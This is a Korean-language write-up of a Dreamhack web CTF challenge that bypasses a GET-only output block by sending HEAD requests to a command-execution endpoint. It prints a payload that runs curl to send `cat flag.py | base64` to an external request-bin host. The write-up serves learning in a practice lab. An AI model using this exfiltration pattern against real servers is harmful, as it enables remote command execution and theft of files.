문제 사이트를 확인해보면 ?cmd=[cmd]라는 문장만 출력되있는 기괴한 화면을 확인할 수 있다.
이것만으로는 아무것도 확인할 수 없으니 소스코드를 열어보자
소스코드도 굉장이 짧게 구성되어 있다.
핵심적인 부분만 확인해보자
if request.method == 'GET':
' '
위 코드를 보면 get으로 값을 받을경우 출력이 먹통이 되는 모습을 확인할 수 있다.
따라서 get을 사용하지 않고 get의 역할을 하는 head를 사용해 request를 요청해야 한다.
이제 코드를 작성해보자
curl을 통해 드림핵에서 제공하는 임시 서버로 http://host3.dreamhack.games:19809/?cmd=curl+https://jrvwimg.request.dreamhack.games/`cat+flag.py+|+base64` 라는 데이터를 전송하는 코드이다.
get을 사용할 수 없기 때문에 requests.head(url)를 사용해 request를 요청하였다.
또한 원하는 플레그가 여러 줄로 나눠져 있기에 base64에서 값을 암호화하여 전달받을것이다.
위 코드를 실행한 후 임시 서버에 전송된 값을 확인해보면
이렇게 값이 전송된다.
전송된 값을 base64 사이트에서 복호화 해보면 플레그를 얻을 수 있다.